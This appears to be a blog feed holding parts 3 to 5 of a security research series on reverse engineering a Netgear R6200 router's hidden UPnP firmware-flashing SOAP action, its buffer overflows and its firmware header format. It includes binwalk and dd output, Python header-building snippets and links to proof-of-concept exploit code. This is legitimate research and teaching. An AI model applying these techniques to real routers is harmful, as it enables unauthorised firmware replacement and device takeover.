Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-12597058564032908522015-05-21T09:30:00.001-07:002015-05-30T06:41:05.236-07:00Broken, Abandoned, and Forgotten Code, Part 5In <a href="http://shadow-file.blogspot.com/2015/04/abandoned-part-01.html">previous</a> <a href="http://shadow-file.blogspot.com/2015/04/abandoned-part-02.html">installments</a> I <a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-03.html">shared</a> proof-of-concept code that would exercise the Netgear R6200's hidden (and badly broken) SetFirmware SOAP action. It satisfied the various wonky conditions necessary to get into the <code>sa_parseRcvCmd()</code> function. Then I showed where in that function a firmware would be decoded from the SOAP request and written to flash. I showed how to identify a code path that leads to firmware writing. In <a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-04.html">part four</a>, I showed how an undersized <code>malloc()</code> means a stock firmware crashes <code>upnpd</code>. Although we'll work around that bug later, for this and the next several installments we'll be working out how the firmware image gets parsed so we can create our own.<br />
<br />
<h3>
Updated Exploit Code</h3>
<div>
I last updated the exploit code for part 3, in which I showed how to form the complete SOAP request. In this part, I've added several Python modules to aid in reverse engineering and reconstructing a firmware image. If you've previously cloned the repository, now would be a good time to do a pull. You can clone the git repo from:</div>
<div>
<a href="https://github.com/zcutlip/broken_abandoned">https://github.com/zcutlip/broken_abandoned</a><br />
<br /></div>
<h3>
Analyzing <code>httpd</code></h3>
We know that the code path in <code>upnpd</code> that accepts a firmware and writes it to flash memory is severely broken. When given a legitimate firmware obtained from Netgear, it crashes. In order to reverse engineer the firmware format, it may be easier to analyze a program that is known to work properly when upgrading: the web interface.<br />
<br />
In the next several posts I'll describe analysis of the embedded HTTP daemon to understand how it processes a firmware image file. I'll also describe how to use the <a href="https://github.com/zcutlip/bowcaster">Bowcaster</a> exploit development framework to aid in dynamic analysis and to develop an understanding of the firmware header composition. The goal is to generate a firmware image out of an existing filesystem and kernel. Bonus points if we can either create a firmware image that is identical to the original or if we can explain what the differences are and why those differences don't get in the way.<br />
<br />
You can debug the web server by copying GDB to the physical R6200 router, or you can debug the embedded <code>httpd</code> in emulation. The first option requires less up-front effort, but the second option is more convenient once you have it working. Running <code>upnpd</code> and <code>httpd</code> in emulation requires faking some hardware and some binary patching. Before proceeding, you may want to read my previous posts on <a href="http://shadow-file.blogspot.com/2015/01/dynamically-analyzing-wifi-routers-upnp.html">debugging with QEMU and IDA Pro</a> and on <a href="http://shadow-file.blogspot.com/2015/01/patching-emulating-and-debugging.html">patching, emulating and debugging using IDA Pro</a> (which specifically addresses <code>httpd</code>). If you're playing along at home, I strongly recommend getting the web server and the UPnP daemon up and running in QEMU and debugging them with IDA Pro. During the next several posts, there will be a few aspects I don't explain in depth. These these things will be relatively straightforward if you have your working environment set up like mine.<br />
<br />
<h3>
Firmware Composition</h3>
Before we actually upload a firmware to the web interface, let's first see how a firmware image file is composed, and identify any sections that are already understood and don't need reverse engineering.<br />
<br />
A good starting point is Craig Heffner's binwalk.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #cccccc;">zach@devaron:~/code/wifi-reversing/netgear/r6200 (0) $ binwalk R6200-V1.0.0.28_1.0.24.chk</span>
<span style="color: #cccccc;">DECIMAL HEX DESCRIPTION</span>
<span style="color: #cccccc;">-------------------------------------------------------------------------------------------------------------------</span>
<span style="color: #cccccc;">58 0x3A TRX firmware header, little endian, header size: 28 bytes, image size: 8851456 bytes, CRC32: 0xEE839C0 flags: 0x0, version: 1</span>
<span style="color: #cccccc;">86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 3920006 bytes</span>
<span style="color: #cccccc;">1328446 0x14453E Squashfs filesystem, little endian, non-standard signature, version 3.0, size: 7517734 bytes, 853 inodes, blocksize: 65536 bytes, created: Wed Sep 19 19:27:19 2012</span>
</pre>
</div>
<br />
Binwalk identifies three sections: A TRX header at offset 58, an LZMA section at offset 86, and a Squashfs filesystem at offset 1328446. The TRX header is well understood. It's a firmware header format that dates back to at least the venerable Linksys WRT54g.<br />
<br />
Here's a diagram (courtesy of the <a href="http://wiki.openwrt.org/doc/techref/header">OpenWRT wiki</a>) of the TRX header's format:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+---------------------------------------------------------------+
| magic number ('HDR0') |
+---------------------------------------------------------------+
| length (header size + data) |
+---------------+---------------+-------------------------------+
| 32-bit CRC value |
+---------------+---------------+-------------------------------+
| TRX flags | TRX version |
+-------------------------------+-------------------------------+
| Partition offset[0] |
+---------------------------------------------------------------+
| Partition offset[1] |
+---------------------------------------------------------------+
| Partition offset[2] |
+---------------------------------------------------------------+
</pre>
</div>
<br />
<br />
There's no need for analysis here. In the <code>part_5</code> directory in the git repo, I've provided a module that generates a TRX header.<br />
<br />
We also don't need to analyze the Squashfs filesystem. At least not yet. Although there are many variations of Squashfs, there are also a lot of tools that will generate Squashfs images. We'll investigate more closely later, but for now, this is a known quantity.<br />
<br />
When there is only one LZMA section, and it's near the beginning of an image--after the TRX header and before the filesystem--that is often the compressed Linux kernel. That's easy to verify. Extract out that section and decompress it to see if it's a Linux kernel.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #cccccc;">zach@devaron:~/code/wifi-reversing/netgear/r6200 (130) $ binwalk R6200-V1.0.0.28_1.0.24.chk</span>
<span style="color: #cccccc;">DECIMAL HEX DESCRIPTION</span>
<span style="color: #cccccc;">-------------------------------------------------------------------------------------------------------------------</span>
<span style="color: #cccccc;">58 0x3A TRX firmware header, little endian, header size: 28 bytes, image size: 8851456 bytes, CRC32: 0xEE839C0 flags: 0x0, version: 1</span>
<span style="color: #cccccc;">86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 3920006 bytes</span>
<span style="color: #cccccc;">1328446 0x14453E Squashfs filesystem, little endian, non-standard signature, version 3.0, size: 7517734 bytes, 853 inodes, blocksize: 65536 bytes, created: Wed Sep 19 19:27:19 2012</span>
<span style="color: #cccccc;">zach@devaron:~/code/wifi-reversing/netgear/r6200 (0) $ dd if=R6200-V1.0.0.28_1.0.24.chk skip=86 count=`expr 1328446 - 86` bs=1 of=kernel.7z</span>
<span style="color: #cccccc;">1328360+0 records in</span>
<span style="color: #cccccc;">1328360+0 records out</span>
<span style="color: #cccccc;">1328360 bytes (1.3 MB) copied, 0.953731 s, 1.4 MB/s</span>
<span style="color: #cccccc;">zach@devaron:~/code/wifi-reversing/netgear/r6200 (0) $ p7zip -d kernel.7z</span>
<span style="color: #cccccc;">7-Zip (A) [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18</span>
<span style="color: #cccccc;">p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)</span>
<span style="color: #cccccc;">Processing archive: kernel.7z</span>
<span style="color: #cccccc;">Extracting kernel</span>
<span style="color: #cccccc;">Everything is Ok</span>
<span style="color: #cccccc;">Size: 3920006</span>
<span style="color: #cccccc;">Compressed: 1328360</span>
<span style="color: #cccccc;">zach@devaron:~/code/wifi-reversing/netgear/r6200 (0) $ strings kernel | grep Linux</span>
<span style="color: #cccccc;">Linux version 2.6.22 (peter@localhost.localdomain) (gcc version 4.2.3) #213 PREEMPT Thu Sep 20 10:22:07 CST 2012</span>
</pre>
</div>
<br />
So we have the TRX header, compressed Linux kernel, and the squashfs filesystem. The TRX header starts at offset 58, leaving only 58 bytes of unidentified data. Not bad! What are the chances that this 58-byte header is just a haiku about a man from Nantucket?<br />
<br />
It's possible this header is documented somewhere, but if so, I'm not aware of it. Even if it is, it's worth going to the trouble of reversing it. Doing so is instructional. It also exposes interesting bugs in the HTTP and UPnP daemons.<br />
<br />
Part 5's example code takes advantage of a project I created, called <a href="https://github.com/zcutlip/bowcaster">Bowcaster</a>. Bowcaster has a class called <code>OverflowBuffer</code> that generates a pattern string for debugging buffer overflows. It also gives you the ability to replace sections of that string with things like ROP gadgets, fixed strings, and other data types. The pattern string Bowcaster generates for you looks like:<br />
<code><br />
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8A<br />
</code><br />
<br />
In the pattern string, no sequence of three or more characters is ever repeated. <code>OverflowBuffer</code> provides a <code>find_offset()</code> method. This makes it easy to identify at what offset a given value seen in a register or in memory during a debugging session is found.<br />
<br />
Even though we're not debugging a buffer overflow, the <code>OverflowBuffer</code> class is still useful. As we identify each field and what value it should contain, it's easy to plug in those values at the right offsets as if they are ROP gadgets.<br />
<br />
The following code fragment, taken from part 5's exploit code, uses Bowcaster to generate a stand-in for the header:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #6ab825; font-weight: bold;">from</span> <span style="color: #447fcf; text-decoration: underline;">bowcaster.development</span> <span style="color: #6ab825; font-weight: bold;">import</span> <span style="color: #d0d0d0;">OverflowBuffer</span>
<span style="color: #6ab825; font-weight: bold;">from</span> <span style="color: #447fcf; text-decoration: underline;">bowcaster.development</span> <span style="color: #6ab825; font-weight: bold;">import</span> <span style="color: #d0d0d0;">SectionCreator</span>
<span style="color: #6ab825; font-weight: bold;">class</span> <span style="color: #447fcf; text-decoration: underline;">MysteryHeader</span><span style="color: #d0d0d0;">(</span><span style="color: #24909d;">object</span><span style="color: #d0d0d0;">):</span>
<span style="color: #6ab825; font-weight: bold;">def</span> <span style="color: #447fcf;">__init__</span><span style="color: #d0d0d0;">(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">,endianness,size):</span>
<span style="color: #d0d0d0;">SC=SectionCreator(endianness,logger=logger)</span>
<span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.header=OverflowBuffer(endianness,size,</span>
<span style="color: #d0d0d0;">overflow_sections=SC.section_list,</span>
<span style="color: #d0d0d0;">logger=logger)</span>
</pre>
</div>
<br />
<br />
The stand-in header is shown below:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/15876873023" style="margin-left: 1em; margin-right: 1em;" title="fake header in memory by Zachary Cutlip, on Flickr"><img alt="fake header in memory" height="316" src="https://farm9.staticflickr.com/8584/15876873023_f1fabcfb8d.jpg" width="500" /></a></div>
Above we see Bowcaster's pattern string in memory just prior to the TRX header.<br />
<br />
The first parsing of this header takes place in the function <code>abCheckBoardID()</code>, called by <code>http_d()</code>. In this function the first header field that is inspected is a <code>strcmp()</code> between the string "<code>*#$^</code>" and the firmware data starting at offset 0.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16496106582" style="margin-left: 1em; margin-right: 1em;" title="check magic signature by Zachary Cutlip, on Flickr"><img alt="check magic signature" height="144" src="https://farm8.staticflickr.com/7434/16496106582_58057c4e1a.jpg" width="500" /></a></div>
<br />
<br />
This appears to be a magic number or signature. Adding it to our Python header class:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #6ab825; font-weight: bold;">from</span> <span style="color: #447fcf; text-decoration: underline;">bowcaster.development</span> <span style="color: #6ab825; font-weight: bold;">import</span> <span style="color: #d0d0d0;">OverflowBuffer</span>
<span style="color: #6ab825; font-weight: bold;">from</span> <span style="color: #447fcf; text-decoration: underline;">bowcaster.development</span> <span style="color: #6ab825; font-weight: bold;">import</span> <span style="color: #d0d0d0;">SectionCreator</span>
<span style="color: #6ab825; font-weight: bold;">class</span> <span style="color: #447fcf; text-decoration: underline;">MysteryHeader</span><span style="color: #d0d0d0;">(</span><span style="color: #24909d;">object</span><span style="color: #d0d0d0;">):</span>
<span style="color: #d0d0d0;">MAGIC=</span><span style="color: #ed9d13;">"*#$^\x00"</span>
<span style="color: #d0d0d0;">MAGIC_OFF=</span><span style="color: #3677a9;">0</span>
<span style="color: #6ab825; font-weight: bold;">def</span> <span style="color: #447fcf;">__init__</span><span style="color: #d0d0d0;">(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">,endianness,size):</span>
<span style="color: #d0d0d0;">SC=SectionCreator(endianness,logger=logger)</span>
<span style="color: #999999; font-style: italic;">#add the magic signature "*#$^"</span>
<span style="color: #d0d0d0;">SC.string_section(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.MAGIC_OFF,</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.MAGIC,</span>
<span style="color: #d0d0d0;">description=</span><span style="color: #ed9d13;">"Magic bytes for header."</span><span style="color: #d0d0d0;">)</span>
<span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.header=OverflowBuffer(endianness,size,</span>
<span style="color: #d0d0d0;">overflow_sections=SC.section_list,</span>
<span style="color: #d0d0d0;">logger=logger)</span>
</pre>
</div>
<br />
<br />
If the firmware doesn't have this signature, no other parsing takes place. Also, note that the signature string must be null terminated since the comparison is performed using a <code>strcmp()</code>.<br />
<br />
The next few things worth pointing out involve what appears to be a size field right after the signature string. Here's a look at a hex dump of our generated firmware header:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/15882081643" style="margin-left: 1em; margin-right: 1em;" title="hex dump of firmware by Zachary Cutlip, on Flickr"><img alt="hex dump of firmware" height="383" src="https://farm8.staticflickr.com/7426/15882081643_a00630e9cb.jpg" width="500" /></a></div>
<br />
<br />
Below we see a <code>memcpy()</code> at address 0x0041C550 that uses the size field highlighted in the above hex dump:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16476174296" style="margin-left: 1em; margin-right: 1em;" title="memcpy header size by Zachary Cutlip, on Flickr"><img alt="memcpy header size" height="201" src="https://farm8.staticflickr.com/7372/16476174296_7f1678d07c.jpg" width="500" /></a></div>
<br />
<br />
There are a few things worth calling out here. First is the byte order. This is a little endian system, so we would expect to see 0x61413100 in register <code>$s0</code>. The byte order in the register matching the byte order on disk means this data is interpreted as big endian. A couple of basic blocks prior to the location of the <code>memcpy()</code> are where the byte-swapping occurs to convert this big endian value to little endian. This is the first sign that the 58-byte leading header should be big endian even though the rest of the file, and indeed the target hardware itself, is little endian.<br />
<br />
Another thing; the null terminator of the "<code>*#$^</code>" string overlaps with the high byte of the size field. It is serendipitous that the size field is big endian encoded and its value is small enough to have a leading zero (the stock firmware's size field contains 0x0000003a). This appears to be an innocuous bug. Instead of a <code>strcmp()</code> to check the signature string, a <code>memcmp()</code> or an integer comparison should have been used.<br />
<br />
But wait, there's more! If you haven't guessed already, this is a buffer overflow. It would be a really nice one, too, except that it requires authentication. I won't discuss it in detail here, because we'll see an identical one when we circle back to <code>upnpd</code>. But if you're playing along at home, feel free check it out. Exploitation is straightforward.<br />
<br />
The last thing worth noting is the <code>OverflowBuffer</code> class's <code>find_offset()</code> method. The value found in register <code>$s0</code> is a combination of a null terminator plus three characters of the pattern sequence: "<code>\x001Aa</code>". We can use <code>find_offset()</code> to figure out where in the header this value came from:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #cccccc;">zach@devaron:~/code/broken_abandoned/part_5 (0) $ ./buildfw.py find=0x00314161 kernel.lzma squashfs.bin</span>
<span style="color: #cccccc;"> [@] Building firmware from input files: ['kernel.lzma', 'squashfs.bin']</span>
<span style="color: #cccccc;"> [@] TRX crc32: 0x0ee839c0</span>
<span style="color: #cccccc;"> [@] Creating ambit header.</span>
<span style="color: #cccccc;"> [@] Finding offset of 0x00314161</span>
<span style="color: #cccccc;"> [+] Offset: 4</span>
</pre>
</div>
<br />
It's easy to encode the size value into the header using Bowcaster:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #999999; font-style: italic;">#observed size in real-world examples.</span>
<span style="color: #999999; font-style: italic;">#this may be variable</span>
<span style="color: #d0d0d0;">HEADER_SIZE=</span><span style="color: #3677a9;">58</span>
<span style="color: #d0d0d0;">HEADER_SIZE_OFF=</span><span style="color: #3677a9;">4</span>
<span style="color: #d0d0d0;">SC.gadget_section(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.HEADER_SIZE_OFF,</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.size,</span><span style="color: #ed9d13;">"Size field representing length of ambit header."</span><span style="color: #d0d0d0;">)</span>
</pre>
</div>
<br />
In the <a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-06.html">next part</a>, I'll continue discussing the <code>abCheckBoardID()</code> function. I'll also discuss a checksum function whose algorithm is difficult to identify and how we deal with that. Then I'll discuss what other functions also are responsible for inspecting and parsing the firmware header.Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-7518665825764524862015-05-14T09:18:00.000-07:002015-05-22T15:33:08.570-07:00Broken, Abandoned, and Forgotten Code, Part 4In the <a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-03.html">last post</a>, I described how <code>upnpd</code>'s <code>sa_parseRcvCmd()</code> function finds the body of a SOAP request and how it parses that SOAP request. This is a large and complicated function that processes many types of SOAP requests. I demonstrated how to work out the desired path of execution to decode and write firmware. At the end I made an educated guess as to how the SOAP request should be formed, and how the firmware should be represented in the request body.<br />
<br />
In this post, we'll start with some prototype code that will exercise the portions of <code>upnpd</code> we have analyzed so far. It satisfies the conditions that I described in parts 1, 2, and 3. Including:<br />
<br />
<ul>
<li>The necessary timing games described in parts 1 and 2</li>
<li>The minimum Content-Length described in Part 1</li>
<li>The HTTP headers I described in Part 2</li>
<li>The SOAP request body I described in part 3</li>
</ul>
<h3>
PoC Exploit Code</h3>
In the previous installment, I updated the git repository with working exploit code that satisfies the above conditions. There is no update to the code for Part 4; the previous part's code is sufficient for now. You can clone the repo from:<br />
<a href="https://github.com/zcutlip/broken_abandoned">https://github.com/zcutlip/broken_abandoned</a><br />
<br />
<h3>
Emulation and Debugging</h3>
Strictly speaking, you don't need to debug <code>upnpd</code> for this installment, although it may help a little. In the next several installations of this series, however, it is assumed that readers who are following along will be emulating and debugging the target processes. If you <i>are</i> following along, it's worth checking out my post on <a href="http://shadow-file.blogspot.com/2015/01/dynamically-analyzing-wifi-routers-upnp.html">remote debugging with QEMU and IDA Pro</a>. In that article, I walk you through running <code>upnpd</code> in emulation and attaching IDA Pro for debugging.<br />
<br />
The exploit code from Part 3 allows you to specify an optional file as a command line argument to encode into the request. If you don't provide an input file, then the entire firmware data will consist of a string "A"s. This is a good starting point as a long string of "A"s is easy to identify in a debugger's memory trace.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16089580537" style="margin-left: auto; margin-right: auto;" title="soap request in memory by Zachary Cutlip, on Flickr"><img alt="soap request in memory" height="287" src="https://farm9.staticflickr.com/8660/16089580537_9efe2a96fc.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Debugger memory trace showing the SOAP request just before base64 decoding.</td></tr>
</tbody></table>
<br />
<br />
<h3>
Crash! Hopes and Dreams Wrecked</h3>
When I got to this point in my analysis, naturally the first thing I did was encode a legitimate firmware file into the request, in hopes the firmware would be successfully written. Surprise. This was not successful. The <code>upnpd</code> deamon crashed processing the request. It was at this point in the summer of 2013 that I chucked my laptop into the river and seriously considered a career change.<br />
<br />
Don't chuck your laptop into the river. Instead, let's figure out why the program crashes when given a legitimate firmware. I encoded a legitimate firmware file (obtained from Netgear's support website) into the SOAP request. When I sent that request to the UPnP daemon, the daemon crashed in <code>sa_base64_decode()</code>. My initial assumption was that this was a non-standard, possibly buggy, base64 decoder. I spent some time reversing the base64 decoding function. There was no obvious problem with it. Laptops were chucked.<br />
<br />
It turns out, the problem isn't with the base64 decoder, but something more obvious. The problem is with the buffer that the firmware gets decoded into.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16089327499" style="margin-left: auto; margin-right: auto;" title="undersized malloc by Zachary Cutlip, on Flickr"><img alt="undersized malloc" height="183" src="https://farm8.staticflickr.com/7554/16089327499_226ef80033.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Allocate a 4MB buffer for decoding</td></tr>
</tbody></table>
<br />
In the above screenshot, we see memory being allocated. The resulting buffer is used to hold the base64 decoded firmware. Note the instruction right after the jump to <code>malloc()</code> (On MIPS, the instruction right after a jump gets executed at the same time as the jump):<br />
<pre>lui $a0, 0x40</pre>
For those less familiar with MIPS assembly, the <code>lui</code> instruction means "load upper immediate." This will load 0x40 into the upper half of the <code>$a0</code> register. That means <code>$a0</code> will contain 0x400000, or 4194304 in decimal. By convention, the <code>$a0</code> register contains the first argument to a function, in this case <code>malloc()</code>, resulting in a 4MB[1] buffer to decode the firmware into. The size of a typical firmware image for this device is over 8MB:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #cccccc;">zach@devaron:~/code/wifi-reversing/netgear/r6200 (0) $ ls -l R6200-V1.0.0.28_1.0.24.chk</span>
<span style="color: #cccccc;">-rw-r--r-- 1 zach zach 8851514 Jan 27 2014 R6200-V1.0.0.28_1.0.24.chk</span>
</pre>
</div>
<br />
In fact it's closer to 9MB. This is what crashes the program. It's unclear why the decoding isn't done in place or why the distance between the opening and closing <code><NewFirmware></code> tags, which is calculated right before this operation, isn't used to allocate the buffer.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16087985038" style="margin-left: 1em; margin-right: 1em;" title="distance between open & closing tags by Zachary Cutlip, on Flickr"><img alt="distance between open & closing tags" height="185" src="https://farm8.staticflickr.com/7485/16087985038_5ec047a4fd.jpg" width="500" /></a></div>
<br />
<br />
In any case, this is the surest sign yet that the SetFirmware SOAP action isn't completely implemented, and likely never actually worked in production firmware. If we're going to exercise this functionality without crashing the program, it will be necessary to generate a replacement firmware image than is <i>dramatically</i> smaller[2] than the stock firmware. While possible, this is a non-trivial effort and will come with severe limitations. I'll discuss shrinking the firmware in a later post.<br />
<br />
Before spending time on making a smaller firmware, we have a few other things to work through. We need to work out (1) what sort of validation, if any, is done on the decoded firmware, and (2) how to satisfy that validation. Further, there may be additional bugs in <code>upnpd</code> preventing a firmware from being written to flash memory. If so, there will be no point in figuring out how to shrink the firmware.<br />
<br />
We'll start reverse engineering the firmware format in the <a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-05.html">next post</a>.<br />
<br />
-----------------------------<br />
[1] Technically this should be 4MiB, but in order to write that you have to say "mebibytes," which is dumb. If you hear anyone saying "mebibyte" in public, you should punch them in the face. So I'm kicking it old-school with "MB."<br />
<br />
[2] This is the first of two potential buffer overflows that I am aware of in the firmware processing code. Some may see an opportunity here to exploit a heap-based buffer overflow. The approach I went with was to shrink the firmware to avoid crashing <code>upnpd</code>.Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-29285368327317648682015-05-07T08:00:00.000-07:002015-05-22T15:34:28.976-07:00Broken, Abandoned, and Forgotten Code, Part 3In the <a href="http://shadow-file.blogspot.com/2015/04/abandoned-part-01.html">previous</a> <a href="http://shadow-file.blogspot.com/2015/04/abandoned-part-02.html">posts</a>, I talked about the hidden "SetFirmware" SOAP action in the Netgear R6200's UPnP daemon, and the weird timing games we have play to deal with UPnP daemon's broken networking code. I also discussed the haphazard parsing of the HTTP headers across multiple functions. I made a guess at what headers might get our SetFirmware SOAP request passed to the <code>sa_parseRcvCmd()</code> function where hopefully an encapsulated firmware image will be decoded.<br />
<br />
In this post I'll discuss how the <code>sa_parseRcvCmd()</code> function actually parses, or attempts to parse, the SOAP request body.<br />
<br />
<h3>
Updated Exploit Code</h3>
<div>
Previously, I published a git repository containing proof-of-concept code that demonstrates what I discussed in part 2. The repository has been updated for part 3, so if you've cloned it, now is good time to do a pull. The new code will generate the complete SetFirmware SOAP request to flash an updated firmware to the router. You can get the repo here:</div>
<div>
<a href="https://github.com/zcutlip/broken_abandoned">https://github.com/zcutlip/broken_abandoned</a></div>
<div>
<br /></div>
<h3>
Parsing the SOAP Request Body</h3>
The <code>sa_parseRcvCmd()</code> function is large and difficult to describe. Attempting to reverse engineer the entire function would be tiresome.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16030819980" style="margin-left: auto; margin-right: auto;" title="graph view of sa_parseRecvCmd by Zachary Cutlip, on Flickr"><img alt="graph view of sa_parseRecvCmd" height="391" src="https://farm8.staticflickr.com/7579/16030819980_d83ea774e0.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Graph view of the sa_parseRcvCmd function</td></tr>
</tbody></table>
The above figure is a bird's eye view of this function. To give some perspective, the following figure is the first basic block, which includes the function prologue that sets up a long list of local variables in addition to the first bit of parsing of the SOAP request body.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16032177599" style="margin-left: auto; margin-right: auto;" title="prologue of sa_parseRcvCmd by Zachary Cutlip, on Flickr"><img alt="prologue of sa_parseRcvCmd" height="500" src="https://farm8.staticflickr.com/7495/16032177599_95b5ba81e4.jpg" width="275" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Check out all those local variables.</td></tr>
</tbody></table>
<br />
<br />
Rather than try to understand the entire function, an easier approach is to decide where in the function we want execution to reach and work backwards from there. This way offers a better chance of finding out if the desired code is reachable, and if it is, what paths will lead there.<br />
<br />
If we spend some time browsing the disassembly, we start to see what appears to be a group of blocks responsible for decoding the firmware from the SOAP request body and writing it to flash memory.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16218392475" style="margin-left: 1em; margin-right: 1em;" title="annotated firmare write by Zachary Cutlip, on Flickr"><img alt="annotated firmare write" height="391" src="https://farm8.staticflickr.com/7505/16218392475_25c8c227fe.jpg" width="500" /></a></div>
<br />
<br />
Looking even closer, we can identify the actual block where the firmware is written to flash.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16032591787" style="margin-left: 1em; margin-right: 1em;" title="write firmware to flash by Zachary Cutlip, on Flickr"><img alt="write firmware to flash" height="135" src="https://farm9.staticflickr.com/8607/16032591787_5c7e75c051.jpg" width="500" /></a></div>
<br />
<br />
It's easy to guess that this block writes to flash memory based on the blocks that lead up to it (an earlier block opens <code>/dev/mtd1</code> for writing) as well as the error string that will be printed if the write fails. This block at 0x0042466C is our goal and the path that leads to it is how we must get there.<br />
<br />
Working backwards, we come to a block at 0x00423C38 that appears, based on symbols and error strings, to base64 decode the firmware image.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16222605282" style="margin-left: 1em; margin-right: 1em;" title="base64 decoding firmware by Zachary Cutlip, on Flickr"><img alt="base64 decoding firmware" height="299" src="https://farm8.staticflickr.com/7557/16222605282_ce5ab33c1b.jpg" width="500" /></a></div>
<br />
<br />
From this we can guess that the firmware image should be base64 encoded into the SOAP request body. We might also guess that the <code>sa_CheckBoardID()</code> function in the above figure performs some sort of parsing of the decoded firmware. Once we've worked out the code path that gets to this block, we'll start working forwards again and spend some time investigating this function.<br />
<br />
Working backwards even further, we find a cluster of blocks with many outbound paths. One of these paths (the block at 0x004238C8) leads to the base64 decoding section. This part of the function is particularly tortured, so here's the summary. This cluster appears to be a part of a large loop. On each pass through the loop, a variable is checked against a number of constants. Each comparison, if a match, results in a branch to a different path of execution. <i>The constant that leads to the base64 decoding operation is 0xFF3A.</i> While not actionable at the moment, this is worth noting.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16039406350" style="margin-left: auto; margin-right: auto;" title="Check for 0xFF3A by Zachary Cutlip, on Flickr"><img alt="Check for 0xFF3A" height="192" src="https://farm8.staticflickr.com/7571/16039406350_c2f2bd4542.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Looking for several constants. 0xFF3A leads to firmware decoding.</td></tr>
</tbody></table>
<br />
<br />
From there we can go backwards a little further and reach the function prologue, discussed earlier. With a general idea of the path that is required to get the firmware decoded and written, we can start working forwards again. We now have a better idea of what code paths to focus on and what ones can be ignored.<br />
<br />
